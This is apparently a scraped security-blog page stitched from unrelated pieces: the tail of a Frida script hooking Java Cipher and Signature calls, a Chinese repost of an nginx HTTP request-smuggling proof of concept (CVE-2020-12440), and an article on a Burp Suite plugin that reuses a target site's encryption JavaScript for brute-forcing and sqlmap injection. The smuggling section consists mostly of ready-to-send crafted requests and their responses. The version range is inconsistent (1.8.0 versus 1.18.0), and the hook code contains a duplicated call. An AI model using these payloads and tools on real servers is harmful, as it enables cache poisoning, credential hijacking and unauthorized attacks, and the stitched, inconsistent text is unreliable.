// Encode.toAll(`${algorithm} update data`, arguments[0]);
// return this.update(...arguments);
// };
// }

let overloads_doFinal = Cipher.doFinal.overloads
for (const overload of overloads_doFinal) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.doFinal(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} doFinal result`, result)
return result
}
}
}

const Signature = Java.use('java.security.Signature')
{
let overloads_update = Signature.update.overloads
for (const overload of overloads_update) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
Encode.toAll(`${algorithm} update data`, arguments[0])
return this.update(...arguments)
}
}

let overloads_sign = Signature.sign.overloads
for (const overload of overloads_sign) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.sign()
Encode.toResult(`${algorithm} sign result`, result)
return this.sign(...arguments)
}
}
}
})

(CVE-2020-12440)Nginx \<= 1.8.0 请求走私

(CVE-2020-12440)Nginx <= 1.8.0 请求走私

本文转自nosafer 并作补充

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。

二、漏洞影响

Nginx <= 1.8.0

三、复现过程

image

Request

1
2
3
4
5
6
7
GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request(200 OK + 405 Method Not Allowed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response(200 OK + 405 Method Not Allowed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Request(200 OK + 404 Not Found)

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response(200 OK + 404 Not Found)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

BurpSuite作为代理,复用目标站点的js代码处理指定的内容

BurpSuite作为代理,复用目标站点的js代码处理指定的内容

本文转自thinkoaa 并作补充

0x01 前言

之前写了一个burp插件,直接使用目标站点的加密js来解决用intruder模块爆破时的payload加密问题

地址:https://www.freebuf.com/sectool/242363.html

除了上面的情况外,有时还会遇到把burp当作代理,调用网站的js代码处理来自浏览器、sqlmap等工具的内容情况。

比如目标网站的参数调用了js加密算法,不管是手动访问也好,还是sqlmap注入也好,需要调用指定算法处理参数,用python或java重写算法的话呢,时间成本太高,有些算法还挺复杂……但,如果能够直接复用目标网站的js代码的话就太方便了。

因此,简单写了一个burp suite插件,专门解决上述问题:下载地址:JSFlash

使用步骤是 可以参考我之前另一个插件的文章 参考地址

  1. 1.把目标站点的相关js代码放到本地js文件中,调试可用;
  2. 2.把JSFlash插件导入到Burp Suite中,在插件中加载指定的js文件并填写对应的参数;
  3. 3.抓包发repeater做测试,如果效果符合预期,则该插件会根据指定的规则,调用js代码,处理指定的内容。

效果图:

image

0x02 使用方法

1.从目标站点复制修改或者手动写好js代码,调试正确

image

image

因为插件是通过java调用js,因此window、document等对象及方法,还有一些很新的js特性可能在浏览器中执行正确,但插件调用时会报错,因此插件会把可能产生的错误信息弹出显示,方便根据实际逻辑修改,根据我的经历来看,不管多复杂,只要耐心点,没有改不了的情况,如图:

image

image

再举一个例:

image

image

2.导入插件,设置参数

image

2.1 设置url,一定要用burp的Copy URL菜单复制,不要手动填写,以免出错:

image

image

2.2 设置处理指定内容的规则

GET方式:

image

image

php代码如图:

image

处理结果:

image

POST方式:

image

image

php代码如图:

image

结果如图:

image

一次调用多个方法,处理多个指定内容:

数据包:

image

规则:

image

php代码:

image

结果:

image

0x03 总结

这个插件用到的时候,需要具体情况具体分析,不过思路是这么个思路,目的就是复用js代码,提高工作效率。